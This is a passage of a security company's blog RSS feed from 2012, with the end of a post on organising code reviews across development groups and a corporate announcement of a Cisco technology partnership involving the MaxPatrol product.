The group lead assigns observers from the number of group leads, which modules have been changed.&lt;br /&gt;
The group leads assign reviewers from their groups.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-tDqUuCWYE80/UCUB3Fuvq0I/AAAAAAAABho/tUs0KyWDH0E/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="162" src="http://2.bp.blogspot.com/-tDqUuCWYE80/UCUB3Fuvq0I/AAAAAAAABho/tUs0KyWDH0E/s640/2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Such an approach secures decentralized appointment of review participants and scales perfectly both vertically (in hierarchy) and horizontally (upon increase in number of project groups).&lt;br /&gt;
What is needed for implementation?&lt;br /&gt;
&lt;br /&gt;
Several terms should be complied with to implement code reviews successfully.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Before a code is added to a repository, it is surely reviewed by at least one person, who knows it well.&lt;/li&gt;
&lt;li&gt;Developers always know about any changes introduced into their projects by other groups.&lt;/li&gt;
&lt;li&gt;A group lead knows everything what the group does and gets a good overview of any code of the group.&lt;/li&gt;
&lt;li&gt;Within a group, developers have sufficient knowledge of a code written by their colleagues.&lt;/li&gt;
&lt;li&gt;If these terms are complied with, project participants achieve a good level of collective code ownership.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
This is it, I think :)&lt;br /&gt;
&lt;br /&gt;
If the IT community is interested in the topic of a code review and description of our experience, then we’ll dedicate one of our next articles to automation of reviews using SmartBear's CodeCollaborator.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-JODvMTB3h4w/UCUDJca8aSI/AAAAAAAABhw/mFu6k6gsaZM/s1600/3en.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="280" src="http://3.bp.blogspot.com/-JODvMTB3h4w/UCUDJca8aSI/AAAAAAAABhw/mFu6k6gsaZM/s640/3en.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Thank you for attention!&lt;/div&gt;</description><link>http://blog.ptsecurity.com/2012/08/code-review-implemented-into-development.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-tESRpGG6jk8/UCUE4JVVr7I/AAAAAAAABh4/VeX3eLtWTlo/s72-c/bike3.png" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-7616386762997309643</guid><pubDate>Fri, 10 Aug 2012 12:16:00 +0000</pubDate><atom:updated>2012-08-10T05:33:43.280-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">cisco systems</category><category domain="http://www.blogger.com/atom/ns#">positive technologies</category><category domain="http://www.blogger.com/atom/ns#">Cisco</category><title>Positive Technologies Became Cisco’s Official Technology Partner</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-SS0l8qC_KaQ/UCT28_JZrCI/AAAAAAAABg0/5EoLuYJi5uI/s1600/cisco.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-SS0l8qC_KaQ/UCT28_JZrCI/AAAAAAAABg0/5EoLuYJi5uI/s1600/cisco.png" /&gt;&lt;/a&gt;&lt;/div&gt;
Cisco Systems has awarded Positive Technologies the status of Cisco Registered Developer.&amp;nbsp;It’s notable that our company has become the first Russian company to be granted the status of Cisco Registered Developer.&amp;nbsp;Now Positive Technologies has its own profile on the &lt;a href="https://marketplace.cisco.com/catalog/companies/positive-technologies-cjsc" target="_blank"&gt;official web site&lt;/a&gt; of Cisco Systems.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
This status evidences the new level of cooperation between the two companies. It gives researchers of Positive Technologies expanded access to special development resources: software, updates and documentation. Besides, it grants the right to create special tickets concerning the development issues to Cisco TAC (Technical Assistance Center). With these opportunities in hands, specialists of Positive Technologies will be able to improve the support for Cisco products implemented in the MaxPatrol Vulnerability and Compliance Management System.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-ungq4-npzek/UCT_kkFdsHI/AAAAAAAABhY/wqL50mVmwO0/s1600/pt.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="78" src="http://1.bp.blogspot.com/-ungq4-npzek/UCT_kkFdsHI/AAAAAAAABhY/wqL50mVmwO0/s200/pt.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
The official technology partnership is logical step that gives a legal form to the long-lasting collaboration between the companies.Back in 2009, Positive Technologies’ Max Patrol was integrated with Cisco MARS, which monitors and analyzes information security events in corporate information systems and urgently responses to any incidents.&lt;br /&gt;
&lt;br /&gt;
This year, MaxPatrol was enhanced with support for Cisco Nexus switches. Specialists at the Russian office of Cisco Systems provided Positive Technologies with their assistance, granting access to the required equipment.&lt;br /&gt;
&lt;br /&gt;
Experts of Positive Research will continue their work on advancing security of network devices. Together with equipment from Cisco Systems, MaxPatrol already supports appliances from other vendors: Juniper, Nortel, Check Point, Huawei, Arbor Networks, D-Link. No doubts, the list will be expended. Every year the intensive work of the Positive Research center helps detect over 100 vulnerabilities in various systems and applications.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;</description><link>http://blog.ptsecurity.com/2012/08/its-notable-that-our-company-has-become.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-SS0l8qC_KaQ/UCT28_JZrCI/AAAAAAAABg0/5EoLuYJi5uI/s72-c/cisco.png" height="72" width="72" /><thr:total>0</thr:total></item></channel></rss>
